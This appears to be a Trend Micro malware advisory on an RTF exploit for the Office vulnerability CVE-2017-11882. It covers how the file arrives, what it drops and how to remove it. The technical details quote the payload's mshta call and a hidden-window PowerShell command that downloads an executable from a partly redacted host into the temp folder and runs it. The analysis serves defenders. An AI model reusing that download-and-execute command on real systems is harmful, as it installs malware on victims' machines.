Analysis by: John Anthony Banes
ALIASES:

Exploit.CVE-2017-11882 (Ikarus); Exp.CVE-2017-11882 (Norton)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Exploit

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Spammed via email, Dropped by other malware, Downloaded from the Internet

This Exploit arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

As of this writing, the said sites are inaccessible.

Once a malware successfully exploits the said vulnerability, it causes certain actions to be done on the system. It takes advantage of certain vulnerabilities.

  TECHNICAL DETAILS

File Size: 8,093 bytes
File Type: RTF
Memory Resident: No
Initial Samples Received Date: 24 Nov 2017
Payload: Connects to URLs/IPs, Exploits vulnerability

Arrival Details

This Exploit arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Exploit connects to the following website(s) to download and execute a malicious file:

  • http://downloads.{BLOCKED}ilm.co/rtf.bin

It saves the files it downloads using the following names:

  • %User Temp%/lambdoidtegument.exe

(Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

As of this writing, the said sites are inaccessible.

Other Details

Once a malware successfully exploits the said vulnerability, it causes the following actions to be done on the system:

  • It runs mshta.exe to execute a script from the URL:
    • https://{BLOCKED}in.com/raw/PqUXNZbB
  • The script from the URL uses the following commands to download and execute a malicious file:
    'powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\'http://downloads.{BLOCKED}ilm.co/rtf.bin\', \'%TEMP%/lambdoidtegument.exe\'); %TEMP%/lambdoidtegument.exe'

It takes advantage of the following vulnerabilities:

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 13.800.03
FIRST VSAPI PATTERN DATE: 23 Nov 2017
VSAPI OPR PATTERN File: 13.801.00
VSAPI OPR PATTERN Date: 24 Nov 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\lambdoidtegument.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as TROJ_RTFCVE201711882.B. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 5

Download and apply this security patch Refrain from using these products until the appropriate patches have been installed. Trend Micro advises users to download critical patches upon release by vendors.


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